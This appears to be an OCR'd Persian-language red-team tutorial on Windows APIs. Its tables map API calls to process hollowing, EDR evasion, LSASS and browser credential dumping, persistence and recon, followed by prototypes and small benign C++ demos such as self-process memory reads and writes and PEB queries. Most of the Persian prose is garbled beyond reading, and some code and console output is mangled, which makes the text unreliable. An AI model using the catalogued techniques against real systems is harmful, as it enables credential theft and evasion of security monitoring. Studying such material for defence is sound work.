G5 SSSS g hollowing o eoliiwls yge SetThreadContext / GetThreadContext
EDR (Stealth & Anti-EDR) ws g (o5lwyleo

oS AP &L

>l 5leyg L PEB Jio Slelol ot NtQuerylnformationProcess

unhook (gly) abibls  wws s NtProtectVirtualMemory
(035

Al 4 ol gl (g yiws NtReadVirtualMemory /

NtWriteVirtualMemory
o310 5 Cand Snapshot Y Y EnumProcesses / CreateToolhelp

S0 Goiley abbtls sl pw)p VirtualQueryEx

oub ly U_._‘,) Saa alidl> e ReadProcessMemory
(shellcode

0o (6,108 L DLL by ol 18,5 GetModuleHandle

(System & User Recon) ,,l5 g o Sl

Syl APl &

alo b JSg olp,l5 cend NetUserEnum / NetUserGetinfo
GL,.é ﬁ)tf Slell! “"“5[%.)*5 GetUserName / GetUserNameEx
e slwog,S Cendd NetLocalGroupEnum

Jeé slacanis candd NetSessionEnum
oS STyl b Cned WNetEnumResource
Qlé)"-y" (gl; C,él_l),) GetComputerName

aSs olendass ‘5'L.,L;.':, GetAdaptersinfo / GetlpAddrTable

byl Coxdg g b gy Coned EnumServicesStatusEx
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(Credential Dumping)  wlus olelb| &l 5eil
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LSASS )~| s wleUb) C‘ ),‘L;M,l LSAGetLogonSessionData

Gl lecais cud 88 LsaEnumeratelLogonSessions

@ L) LSA dile e slaoosls E‘ )_7',_;_,,,1 LsaRetrievePrivateData

sloje, Jie) DPAPI slaosls olis s, CryptUnprotectData
(Chrome

(S Oyg04 LSASS )~| olelll Cl)p‘c..»l OpenProcess + ReadProcessMemory
o ywd b LSASS 3l aladl> Cwls ol MiniDumpWriteDump

Slos

(Persistence / Service Abuse) la g yw 3l solaiulegw ¢ 5,5 %k

SylS APl &1
! u*‘“)s‘ ly 6)@ ale s sola! CreateService / StartService
(e yd

D950 (puig yas (G Sy yundS ChangeServiceConfig

GBSk (gl ouls (gusyle job clu RegisterScheduledTask

6B 3k gl (g, 5l oolarul RegSetValueEx

Shell L COM (5 ,b 5l &l jgiws gl ShellExecuteEx / WinExec

NT Native (Uncommon/Stealthier NT Native Functions) le ¢ oyl g aolss

ros APl &L

payload <2355 5 hollowing 2 saléiul NtCreateSection

(Olet Gu)¥ @l & context J zus NtSetContextThread

5 S 9 4 ailiites gus yiawd NtOpenThreadToken

A ol&il <CreateProcess ) » G\:\)i_)\; NtCreateUserProcess
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Windows API @‘93 5! LSJLQJLVO

MessageBox / MessageBoxW .\
OK Jie) pobass JB (sloaeSs g ¢lgie ooy b (J1og0) ool (gloyglors ;05 S, MessageBox ab
Sy S Laly gl jeaisg ;0 APIUserYY 5l sise ab (pl auS o obml (0,8 4 Yes/No
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A5 o aseie MB_ICONERROR g MB_OK asile ool 5l eolital b1, 049501 g aaS's (00,5

CreateProcess / CreateProcessW .Y
Ailgi oo &S «Cowl oz (process) wil ¥ S (gslaslel, (gl je0mg 4o Lol CreateProcess APl o

e sl i 5 layd L5 slalosS T o iwial (slodin) s lel, i larkss Ll
gl gl (handles) olodiws § auS oo ol aij)d anld s, 69, ads 0SS &b ol ol
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PROCESS_INFORMATION ¢ STARTUPINFOW  Jis ks:lm}‘;.&[.» CreateProcessW imoluiy )0
5999 et e po anld sbml 6l 1) belepiun s @l (e S (0 (200 |,
5 g0 aige (PEB) aild Jae Sl b mli cpl aiS oo Sls>l,8 (Windows Object Manager)
o3lictsl CREATE_SUSPENDED o 1 5| ol oo (8hao aisl, slowsl (sl b alsd 158 b s
S e s D ygod abibl> FS gl 5l i B )S

VirtualAlloc .Y

Ol (] ams o anass gl Al B ilre wyol slad o | alasl> Sl S VirtualAlloc b
ok alax N 1) T s oo yiwd 0955 § 3940 5,5, b a5 (glabkidl> o3lasl a5 ss o soiBdArwss & |,
w‘y@ c.gU C)’l‘ WS jasuie (PAGE_EXECUTE_READWRITE L PAGE_READWRITE Jio cblas>
ploxil 1 alidl> arass o 5 5,5, oo MEM_COMMIT 5 MEM_RESERVE (slaqz; 5l soliiul L

SV

Al o pae ,0 ol ) el ezl Casdl 5 ol mhe wgiasly sl 51 S APL Gl
ool DLL U356 5,5 glgl 5 abadl> o (PE) Ll 2! bl sl shellcode (5,135 L o o, law
Gk L.bu S byl gly ozl Glad elaisl gl VirtualAlloc e 3 oo Olles )0 0985 0
D950 5 4wl walgs 1> shellcode puins (gl (thread hijacking) & <d .

WS o CilSS (ilme galabl> poe ol (glad o1, )5 Cll> Slxio VirtualAlloc o 28 Ll |
bl oo (CabskS F Ugane) piva asxian 650l b dian Slxio a3 Slxio Jsa 5 ool b
Jio sbla> alan g 0 00ls (anass Col ot a1 Ko S od jro | alitls &l cpl o
Lugs WS o @03 1) oS x>l g s (owilss Sleen a5 PAGE_EXECUTE_READWRITE
bl yep (glamaosis o gl Wb oo (ololils shellcode ;o ooliiwl JJs 4 EDR (slaaileles
el 550 (s ol 3l 6T ol (sl 8l cblis g alall>

OpenProcess . ¢

Slhles plxl ISl Lo 4 5 05’ o0 L5k ) 99290 il 18 4y (handle) aws S OpenProcess U
ab oledlsaes ol d3ls Slellbl caulss o b 1zl Cundy o alidl> il b e Jie
L, PROCESS_VM_WRITE PROCESS_VM_READ waile wiS _aseine |, 3Lis,ge (sloow yiws

.PROCESS_QUERY_INFORMATION

5 &5 ezl (debuggers) lals; Il wladl> slo uSol Lol sl 51 (S5 APyl
explorer.exe L notepad.exe aiile olaanlyd 0,5 5L (6lp o 5l cdél 508 slaps ol b )38l
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S oo oolaiul OpenProcess 5l oy ags ow, g
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adle (oulg 0 Glgiee | (Tl saiws Wollge Djgo 3 S9dee axlge CuSA L &b
&gy asws cpl 5,5 oslatwl VirtualAllocEx 4 WriteProcessMemory (ReadProcessMemory

ol EPROCESS_ f5,S Jtsbw 45 (5,50 Lal

ReadProcessMemory .°
G il b1y 6,50 anl 3 galibl> a5 ano oo Sl oyl 8 S 4 ReadProcessMemory &b

de> ailyd 40 (6,8l g B wul® o slal u.,)o'I odddArwg Wilgn o3l (gla gw s ¢ jise
565b ) ol slo 5790 (LSASS 3,5 dump fie) el Lol i o o l58lay Ll gl als oyl
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WriteProcessMemory .7
S gabsl> o eols yidgi gly g cowl ReadProcessMemory Joleo WriteProcessMemory &b

g PROCESS_VM_WRITE  glajsmme  oiojls  ogd o0 oolaiul 90 o, amls
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Ol gy oS 5 CreateRemoteThread U 8y .09, 00 )1 4 Baw 4y 50 jb (50,5 oS s

QWLSA p_ml)s OMM}: )Ll 9o a|) 6‘)‘>|
A5 S sl slojgme b1y Bow aladl> aoran J5)S 4 098 o0 Eelh AP oyl ooty o
S e pll Bus anld gdladl> 4y leld anl 3 3L 511 Sl de Jes e g
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Zawl 250 3,3 ¢ code caves ollowing sl 3 bl

NtQuerylnformationProcess .V
S 0,50 1o Slellol aS” el 900 ,0 NT 518 API S NtQuerylnformationProcess &b

095 090 Sl el pl by s YYWin sitess APL 1 s ¢ oyls 13 ntdIldIl o &6yl

S o oolaiul o lailin] sl sla U

D oo ool ool 8 sailaste oyl sl 580y (sarwgl g 508 T 40 00 iuS jaboay API -yl
Gl S50 Wl )3 b ot Slos s Ll b 0 LT oS s adilgs o byl o Jlie (5l
3 S ez Al il piias Ojgody e Sol g leyd > SU5L 6l b (sandbox aiS)

Sy eo Ll 6,8 ey hUs 4 cdél sl o o,y LEDR lawgs YYWin sleAPI

Goig adeas 4 iy YAxosysCall o) (ol 15518 Bo5b 5 1S b @bl (IS0 o o
Calgzye o e 0 Cwlg>s |, EPROCESS  Lisle 4 wuS o )8, Ll
Sl Wlg 01,8 Al g PEB 4y So,Lil Jolds a5 aiS o 5 1, (5 ,li>Lu ProcessBasicinformation
RTL_USER_PROCESS_PARAMETERS wiile akibl> (sl bisle Lt aiilgs oo bl Ll
UL s GLAPE ol (39,5 Jbd s — oS Gialan 1) 5500 9)l5e g 00l (,105,L slaJs5le

IsDebuggerPresent .A
Slos ot )l anl B LTAiS o ow)p 45 Cenl 590005 5 ool APl S IsDebuggerPresent sl

Sl Sl s b el fuog [Slos aes oo lid aS wils 5 el Jor jlade S b ol o ]2

Alg> 0 1, PEB Ll 4o (BeingDebugged) <l

oolawl o}m Cnd L5[.:&)‘)'.3‘ 9 )|)‘é|..\g |l oo Lgl.m_{.u&"’ 5 ‘d)lqr.‘i LgLa:)b’é“n).S )“ cdasles 5o el.? Q,[‘
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Foduzmn piuilSs ol per 4y L sandbox (aseis 5l isu lgied Cdélaus Jld e ) el LB

Dol oo osliiwl Slos ws

offset ,o Zul o> jsbas S oo lay (owyiws PEB [L5Lw 4, IsDebuggerPresent « o8 ,laj|
soims g8 alb ol e el N ply Slos jeam Sise j0 ol ol sl epel 5l Yxe

oSl .l (95 598 5 panseis BB Slwlay Jy cusl 4050065 5 o sl S o5 oolaiul
A e |y b gy b oS g Izl log jo 1y ol cpl ailes e dbg#Fx asile

EnumWindows .4

S ypd 1y GUI Lo jo UL o (sloo oty dod a5 sl YYuser slAPI 5| EnumWindows b
Ol a5 gl o Sleld LSS oy 2 (gl A 5,5 oo callback b S 2l cpl S (0
WS o w0l 1) abge slaanl 3L laglae doo oy diws (o5l

boyzeis b Jalss 5 (8 (sln 958 slali8lp 5 5 aglstamio (s )5 L) (ogemlogs] )0 @l ()
Loy Glye STl wbe Jlow ladaoe ololid (ol ooz les ol 0 3580 03litu
T 5 Sl Julow v aiS (5,8 Sl S el el axils casllas "IDA Pro® L, "OllyDbg”

S S5l e 1) 293 b 09l

5 (Default) GLSws g ) window station (WinSta < & 5,k 5| EnumWindows ooy o
4 &b ol &S o oolaiul soalie LB (slboo iy plod GlBHWND 45 ;5" o 48 &y GUI i
Ll ol Ol g ) qujiws oy 3 sla)tisle 4 wyiws slp oliSws heap
Gl s ol S s |y oo 0 Sle w8 5 5 ST (LS 5 GetWindowThreadProcessid

WS igie |y oy callback b aigd (5510 5 oy den B asl oo dalsl e0iiS s gouns dil> S o

(References) a2l
MessageBox / MessageBoxW
https://learn.microsoft.com/en-us/windows/winY ¥ /api/winuser/nf-winuser-
messageboxw

CreateProcess / CreateProcessW

https://learn.microsoft.com/en-us/windows/winY Y /api/processthreadsapi/nf-

processthreadsapi-createprocessw

VirtualAlloc

https://learn.microsoft.com/en-us/windows/winY Y /api/memoryapi/nf-memoryapi-

virtualalloc

OA


https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messageboxw
https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messageboxw
https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messageboxw
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
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OpenProcess

https://learn.microsoft.com/en-us/windows/winY Y /api/processthreadsapi/nf-
processthreadsapi-openprocess

ReadProcessMemory
https://learn.microsoft.com/en-us/windows/winY Y /api/memoryapi/nf-memoryapi-

readprocessmemory

WriteProcessMemory

https://learn.microsoft.com/en-us/windows/winY Y /api/memoryapi/nf-memoryapi-

writeprocessmemory

NtQuerylnformationProcess
https://processhacker.sourceforge.io/doc/ntexapi/.0C_Ah.html#afefcY¥ad YccY fe) FAfcAd

144facdoYYc

(Microsoft does not officially document this NTAPI. For reference, winternl.h defines
it in the Windows SDK.)
IsDebuggerPresent
https://learn.microsoft.com/en-us/windows/winY Y /api/debugapi/nf-debugapi-
isdebuggerpresent

EnumWindows

https://learn.microsoft.com/en-us/windows/winY Y /api/winuser/nf-winuser-
enumwindows

AR


https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-readprocessmemory
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-readprocessmemory
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-readprocessmemory
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
https://processhacker.sourceforge.io/doc/ntexapi%5C_8h.html#afefc745d2cc74e1484c8d999fac5524c
https://processhacker.sourceforge.io/doc/ntexapi%5C_8h.html#afefc745d2cc74e1484c8d999fac5524c
https://learn.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-isdebuggerpresent
https://learn.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-isdebuggerpresent
https://learn.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-isdebuggerpresent
https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumwindows
https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumwindows
https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumwindows
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VirtualAlloc 4 CreateProcess {MessageBox ailgi — Jos (sladiges

S99 5o plo SO yiuled — MessageBoxW 1\l
#include <Windows.h> // Required for Windows API

functions

int main() {
MessageBoxW (

NULL, // hWnd: No owner
window (NULL)

L"Hello from WinAPI!", // lpText: The
message body

L"MessageBox Title", // lpCaption: The
title of the window

MB OK | MB_ ICONINFORMATION // uType: Button

style and icon type
);

return O;

(MessageBox).pby oady (dolad M pa) daiii- ) g

B2 o inled 0OSies (gloais ) il oolaiwl b ply o)ty G MessageBoxW & @
el swehar_t gg5 5l ais, s ("L"Hello [IE99) loas, 5l JS L Kgiy @
&S o 48lol |, OK 4eS5 :MB_OK @

QS o alal 1) wlellsl 5SS T :MB_ICONINFORMATION o
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(& ©g) 4l G (gly>! — CreateProcessW =Y Jlis

#include <Windows.h>
#include <iostream>

int main() {

STARTUPINFOW si = { 0 }; // Startup
configuration struct
PROCESS INFORMATION pi = { 0 }; // Receives info

about the created process

si.cb = sizeof(si); // Required: set the size of
the structure

LPCWSTR appName =
L"C:\\Windows\\System32\\notepad.exe"; // Program to

run

// Attempt to create the new process

BOOL success = CreateProcessW(

appName, // RApplication name

NULL, // Command line (optional)

NULL, // Process security attributes

NULL, // Thread security attributes

FALSE, // Inherit handles?

0, // Creation flags

NULL, // Environment (inherit from
parent)

NULL, // Current directory (use
parent’s)

&si, // Pointer to STARTUPINFOW
structure

&pi // Pointer to

PROCESS INFORMATION structure
) ;

if (success) {
std: :wcout << L"Process created. PID: " <<
pi.dwProcessId << std::endl;
// Optionally wait for the process to exit
WaitForSingleObject (pi.hProcess, INFINITE) ;

// Clean up handles

CloseHandle (pi.hProcess) ;
CloseHandle (pi.hThread) ;

7Y
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} else {
std::wcerr << L"Failed to create process. Error:
" << GetLastError () << std::endl;
}

return O;

(CreateProcess)..w wy sly>! g ol >l amicr V' ypai

sy
(o iy Condy ie) 355 £9,5 43S 550, &S o Laseice STARTUPINFOW @
(PID Jio) wils 5 oo 1, soiolon] 5 g L3jls el :PROCESS_INFORMATION
Seddag 0 o3l obml al aSSss asus (CreateProcessW o
S plod oalolznl (hiley b auS o algie |, Jd 5 gl,>| :WaitForSingleObject o
A8 7y @l e b oS e o311 el pius (sladius CloseHandle e
o (52 2l g o l58l0y e s gla I3l o g el h3lap olonl ulwl & ol e

é}mu.a oolaul

Y
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23 Ghils y o aladl> aass — VirtualAlloc ¥l
#include <Windows.h>
#include <iostream>

int main() {
SIZE T size = ; // Allocate 1 KB

LPVOID allocatedMem = VirtualAlloc (
NULL, // Let Windows choose the address
size, // Size of the allocation in bytes
MEM COMMIT | MEM RESERVE, // Reserve and commit
PAGE READWRITE // Access rights: read + write
)

if (allocatedMem) {
std::cout << "Memory allocated at: " <<
allocatedMem << std::endl;

// Free the memory once done
VirtualFree(allocatedMem, O, MEM RELEASE) ;

} else {
std::cerr << "Allocation failed. Error: " <<
GetLastError () << std::endl;
}

return 0O;

C:/Nn26L2/K6qLeIm>

WeWOLA STTOCSf6q 9£: GOOOOSBEEELTOO08
c: /nesLe/BeqLeIm>C: /neske /¥6qL69m/zonnLce /L.eboz /exambTez /xet/Depnl/exgmbTse " 6xs

(VirtualAlloc). akisl> awass >/ axr ¥y gai

A2 o awass Jad (oils s silre (wyol glad o | alasl> VirtualAlloc e
ooyl slad 5l iy G g5, MEM_RESERVE e

it ol Gl (S abbl> plaisl MEM_COMMIT e

g g oilg> Sl PAGE_READWRITE o

odbodls acass aadl> o S alj VirtualFree o

P
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oolital 590ty smiel Sl o B e alibl> cilS g 5,5 S JS 605 L sy b o)
A

MessageBoxW .

HECRY-

i s Tbass's 5 lsie oo b aly o ialed

-Prototype
int MessageBoxW (
HWND hwWnd,
LPCWSTR lpText,
LPCWSTR lpCaption,
UINT uType
) ;
:@}ubg
oy &y bl
(ks 51 NULL) Wlg o,ze Jasa HWND hwnd
‘aL,_, o LPCWSTR IpText
by olgie LPCWSTR IpCaption
sl g basSs Sew UINT uType

uType Jolto jolis
OK 4055 a2 :MB_OK o

Yes/No s\84<S2 :MB_YESNO
e Ual () Sl :MB_ICONINFORMATION ~ »
i S0 :MB_ICONERROR o

:;JS;LJAL
(o35 5 IDYES dDOK) Cons 05 00 528 aaS's ,Sils a5 sue

0SS abslooly
Cowl 0SS g a5es MessageBoxW @

.Cusl ANS| 45si MessageBoxA

0
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Dyl g Sl g oyl 51 S A 059, Dlendais a4y atiy a5 el 55,5l MessageBox e

SLas b 5 L a s Jolas so3liziad 5 lge

CreateProcessW .Y

TRV

Gl opzs; b ol 4 3,5 deasliyy @2l Gl ol Ghol & g waz (Bilan Sy ol

S o oolaiul loasls

-Prototype
BOOL CreateProcessW(
LPCWSTR lpApplicationName,
LPWSTR lpCommandLine,
LPSECURITY ATTRIBUTES lpProcessAttributes,
LPSECURITY ATTRIBUTES lpThreadAttributes,
BOOL B bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCWSTR lpCurrentDirectory,
LPSTARTUPINFOW lpStartupInfo,
LPPROCESS INFORMATION lpProcessInformation
)
o el )b
o] bl
Jio) e LB O IpApplicationName

("L"C:\\Windows\\System Y'Y\\notepad.exe

(ool NULL wilgs o) JolS™ oyl y8 Lo

G el sla S s

& ol oSy

Spse Syl ly Wy glaains aij 8 sls il TRUE 3T
(CREATE_SUSPENDED _Jie) 3315, oloey] (cloasysS
o s Sk

5 ) s

A0S e adia |y gl alls 45 STARTUPINFO Lkl
&9 ohbn slalD g laJais gl ble

IpCommandLine
IpProcessAttributes
IpThreadAttributes
binheritHandles
dwCreationFlags
IpEnvironment
IpCurrentDirectory
IpStartuplnfo

IpProcessinformation

PO /)L: )lm

(a8 oolawl ()GetlastError 3l Uas> (gl ) FALSE &jao ol é 1o« &g 4o TRUE

£5
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vt slo,bslo
5315, 02 Linles 095 STARTUPINFOW L STARTUPINFO o
WJaia 5 TID «PID JLS :PROCESS_INFORMATION o

X558l 0yumis b e y55 (30,5 Al (o B oyl gl eolatul olge

VirtualAlloc .Y

HECRY-

Sl g il 5lre u*’ﬁT slad jo didl> miasd b g5,

-Prototype
LPVOID VirtualAlloc(
LPVOID lpAddress,
SIZE T dwSize,
DWORD flAllocationType,
DWORD flProtect
) ;
HESVOYE
oy Syl
(o ool (519 NULL L) olgsds g jo] IpAddress
Cob w05l dwsSize
33 A LW MEM_RESERVE ¢MEM_COMMIT flAllocationType
(PAGE_READWRITE J0) aladl> cbsla> pxlans flProtect

S alidl> avass MEM_COMMIT o

alasl> 5l ooliiwl e w ol slas 4,5, MEM_RESERVE e

VirtualFree b 4kadla (5 ) )l :MEM_RELEASE
ebli> ml, slo Sl

s s I PAGE_READWRITE o
odd &,5 o5 s> gl PAGE_EXECUTE_READWRITE

PSA /)b )L.).EA
oz & gm0 NULL L saiiosls avass abadl> 4,5 Ll

Y
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soolaziw! o)|9.q

Heap alasl> swos javass @
KU 0 JOR JS IPUEL PSP WS Y B

3 S5l e b (6513850 sl (B )lns Al g Sl

Sl

https://learn.microsoft.com/en

us/windows/winY'Y/api/winus

er/nf-winuser-messageboxw

https://learn.microsoft.com/en

us/windows/winY'Y/api/proces

sthreadsapi/nf-
processthreadsapi-
createprocessw
https://learn.microsoft.com/en

us/windows/winY'Y/api/memo

ryapi/nf-memoryapi-
virtualalloc

aly

N/A

A

3,90 o
Windows.h

Windows.h

Windows.h

ol Jgo>
sp)lS API|
uuLo_; Message

) BoxW
Slaie
Juslesles

Sy

e CreatePr

’ ocessW
ol

nnss  VirtualAll

oc

S
alasl>
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9 ReadProcessMemory OpenProcess mlg — (on)5 sloJlis
WriteProcessMemory

10 dluwd Lg|c\.ab é"?‘ )| é"}‘ U"‘

(LSASS 3l baasl ,Loel &l y5eiwl Jio) Red Team llos @
(process hollowing L DLL (3,5 Jie) 3,5/,0580 sl Suss o
(Forensic) wliip,> abibdl> Jdow g Slos slajlyl @

il slagyzakog 9 05 Lo Gloyog) (gSae (cwiige

Ll o iloyp SG Jaus cél ;o — OpenProcess .
JERVY

ol oole bl g b lags bl b vas oo el Lol &y a5 05250 (35l 5 4 Jaie S cdl o

DS 8 sl
-Prototype
HANDLE OpenProcess (
DWORD dwDesiredAccess,
BOOL DbInheritHandle,
DWORD dwProcessId
)
HESVOYE
ot bk
PROCESS_VM_READ 55L58 50 (o i o dwDesiredAccess

PROCESS_ALL_ACCESS (PROCESS_VM_WRITE
(FALSE Ugone) W yos &l 4y 1y Joie sl o 35,8 (slagiils s L binheritHandle
Bas yisls , PID dwProcessld
S ok

Klo,5 o 530 4 HANDLE G o048 (3390 ,S1 @

S oolaiwl OGetlastError 51 b Ja! gle— Wls,8 o NULL Sy & jgu0 j0 @

gl (o s (B9d>
ReadProcessMemory Lgl)... f:)’U — PROCESS_VM_READ .

sy el —  PROCESS_VM_WRITE  +  PROCESS_VM_OPERATION e
WriteProcessMemory

£
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S9s oo o3liinl aus b oS 5 )3 el — PROCESS_QUERY_INFORMATION o

$90 ol Sl adadls yailes — ReadProcessMemory .Y
JERVY

Lot (oo Sl 4 S0 (35lay y0 Al ujol G slesls (0,5 oS

Prototype
BOOL ReadProcessMemory (
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPVOID IlpBuffer,
SIZE T nSize,
SIZE T *1pNumberOfBytesRead
)
o el b
oy yolyly
(OpenProcess ;) Guaa ol Jaus hProcess
ol gl Bus le g o w’)‘ﬂ IpBaseAddress
e 3L 4y S il IpBuffer
ogd odilg> Wb a5 Hlacol slaws nSize
oddodilg> slaculy o28ly ol (g, IpNumberOfBytesRead
S /)L: )‘_\.E.o

Coddgo Oygo ;0 TRUE @

AuS oolawl b ST gl GetlastError() 5l «— ¢Sl &jg0 40 FALSE @
f el DS
AL alils PROCESS_VM_READ o yiwsd &b Gisle,y @

S oo oy |y cdled ol 4 EDR g Cdsias slagisn @

S50 ale G aladl> o e — WriteProcessMemory Y
HERV

5290 Gl (pyol (slad a4 Lo asliy 5l eols (0,5 S
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-Prototype
BOOL WriteProcessMemory (
HANDLE hProcess,
LPVOID 1lpBaseAddress,
LPCVOID lpBuffer,
SIZE T nSize,
SIZE T *1pNumberOfBytesWritten
)i
:La:/;;oblg:
T2 bl
Bas oiloy Jas hProcess
S diigs duae B3I, o Wb &S gl IpBaseAddress
Loty oo o0ls 4y S0 L IpBuffer
g allgs b aS olacol sl nSize
onbaties sacal sdly slass (s L) IpNumberOfBytesWritten
S /)b )‘J.'o;o

S5 g0 (b SITRUE o
arazs sl VirtualAllocEx 5 ol 51 L8 Gl &g )8 — Sjgo (ol e 0 FALSE o
AS solawl alasl>

.2_)3 PROCESS_VM_OPERATION s PROCESS_VM_WRITE 42 )& o
Sgb e o3litul 05 L5 6 NE,L L oS alog DLL G55 0 Upeno @

(ool IS (sLed) Jgore 5315 s,
(egiaeli y slojbg, b Task Manager L) o ils 5 PID 0 S oy )
p3U ew yws zhaw L OpenProcess gls>,8
aladl> 5l eols jaile> (6l ReadProcessMemory ;l oolaiul

Y

v

Bas ol o kbl janass gl VirtualAllocEx | oolaul (g Loz F
oS b ools 3,5 sl WriteProcessMemory jl colaiwl .0

9

NtCreateThreadEx & CreateRemoteThread b XS (s} 2l (6)11335\)

\A
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oleog> uls p aladl> o ilies g uiles L
#include <Windows.h>
#include <iostream>

int main() {

// Step 1: Setup a test variable

int targetValue = 1337;

std::cout << " [+] Original value: " << targetValue
<< std::endl;

// Step 2: Get current process ID

DWORD pid = GetCurrentProcessId();

std::cout << " [+] Current PID: " << pid <<
std::endl;

// Step 3: Open the process (itself) with read/write
access
HANDLE hProc = OpenProcess(
PROCESS VM READ | PROCESS VM WRITE |
PROCESS VM OPERATION,
FALSE,
pid
);

if ('hProc) {
std::cerr << "[-] Failed to open process. Error:
" <L GetLastError () << std::endl;
return 1;

}

// Step 4: Read the value using ReadProcessMemory
int readBuffer = 0;
SIZE T bytesRead = 0;

if (ReadProcessMemory (hProc, &targetValue,
&readBuffer, sizeof(readBuffer), &bytesRead)) {

std::cout << "[+] ReadProcessMemory: " <<
readBuffer << " (" << bytesRead << " Dbytes)" <<
std::endl;
} else { std::cerr << "[-] Failed to read
memory. Error: " << GetLastError () << std::endl;

}

// Step 5: Modify the value using WriteProcessMemory
int newValue = 9000;
SIZE T bytesWritten = 0;

\Al
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if (WriteProcessMemory (hProc, &targetValue,
&newValue, sizeof (newValue), &bytesWritten)) ({

std::cout << "[+] WriteProcessMemory: wrote " <<
bytesWritten << " bytes" << std::endl;
std::cout << "[+] New value: " << targetValue <<
std::endl;
} else {

std::cerr << "[-] Failed to write memory. Error:
" << GetLastError () << std::endl;
}

// Step 6: Cleanup
CloseHandle (hProc) ;
return 0O;

C:\Users\RedTeam>C: \Users\RedTeam\source\repos\examples\x64\Debug\examples.exe
Original value: 1337
Current PID: 9528
ReadProcessMemory: 1337 (4 bytes)
WriteProcessMemory: wrote 4 bytes
New value: 9000

C:\Users\RedTeam>_

“U/J/)’/W fﬁ}af

1y 525 oo o byl ass]

Pokche al> 50

abadl> o b isla g oS 50 OpenProcess
e U.J)Jl )~l gres o Qxl? ReadProcessMemory

abbsl> 3,5 b psio Jlade s WriteProcessMemory

Ol cas gl 0gm ile 5l eolal GetCurrentProcessld
&l cuid 5l 6ol sl b Jain ey CloseHandle

Yy
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e = el b Jle

EnumWindows 4 IsDebuggerPresent

NtQueryInformationProcess .\

TRV

kB s «Slys &5 PEB (Process Environment Block) Jie (slen ol clelbl obs5L

QS o ool T 1ol L l58lay g ad i sl Lol 0,55

:(Signature) Laxl

NTSTATUS NtQueryInformationProcess(

HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength

)

ProcessinformationClass Jglae polie

XYY JRVH

PEB a)ly w9 28BS ProcessBasiclnformation

Slos ogzg ausis ProcessDebugPort

(UNICODE_STRING )bb) J,[s S a[i)Q ProcesslmageFileName
)] Alg PID ety ProcessParentld

(InheritedFromUniqueProcessld

(A
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lg PID o PEB -l ;o 105 diges

#include <Windows.h>
#include <winternl.h>
#include <iostream>

// Define a custom struct to avoid conflict with SDK
typedef struct MY PROCESS BASIC INFORMATION {

PVOID Reservedl;

PPEB PebBaseAddress;

PVOID Reserved2[?];

ULONG_PTR UniqueProcessId;

ULONG PTR InheritedFromUniqueProcessId;
} MY PROCESS BASIC INFORMATION;

// Function pointer to NtQueryInformationProcess
typedef NTSTATUS (NTAPI* NtQueryInformationProcess t) (

HANDLE,

PROCESSINFOCLASS,

PVOID,

ULONG,

PULONG

)

int main() {

DWORD pid = GetCurrentProcessId()

HANDLE hProcess =
OpenProcess (PROCESS QUERY INFORMATION, FALSE, pid);

if ('hProcess) {
std::cerr << "Failed to open process. Error:
<< GetLastError () << std::endl;
return 1;

"

}

// Resolve NtQueryInformationProcess from ntdll
HMODULE hNtdll = GetModuleHandleW(L'"ntdll.dl1");

NtQueryInformationProcess t
NtQueryInformationProcess =

(NtQueryInformationProcess t)GetProcAddress (hNtdll,
"NtQueryInformationProcess");

if (!NtQueryInformationProcess) {
std::cerr << "Could not resolve
NtQueryInformationProcess" << std::endl;
CloseHandle (hProcess) ;
return 1;

Yo
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}

MY PROCESS BASIC INFORMATION pbi = {};
ULONG returnlLength = 0;

NTSTATUS status = NtQueryInformationProcess (
hProcess,
ProcessBasicInformation,

&pbi,
sizeof (pbi),
&returnlLength
);
if (status == 0) {
std::cout << "PEB Address: " <<
pbi.PebBaseAddress << std::endl;
std::cout << "Parent PID : " <<
pbi.InheritedFromUniqueProcessId << std::endl;
}
else {

std::cerr << "NtQueryInformationProcess failed.
NTSTATUS: 0Ox" << std::hex << status << std::endl;
}

CloseHandle (hProcess) ;
return 0O;

bSLEUL bID : A2e6

bEB VdqqL622: BOOEO6DATIVEVESS
C:/Nn26k2/K6qLeIw>C: /n26L2 /¥6qLe9m/20nLcs /Leboz /exaubTe2 /xet/Depnt/exswbrez - 6x6

NtQueryinformationProcess — |,>/ 4zt -4 ygar

w3l I (Vg PID ¢ PEB Jio) yuly pdans Jlo Slelbl oLk S o a @
S G Ll a4 pw o b ilo s Wlg o s wiliasee aseid oliiul S)lee @

Dgi oo odlaiwl (BI85 Gaes o3l (6l o Jailin]l GAPE o5 g0 s ga lS 4SS e
IsDebuggerPresent .Y
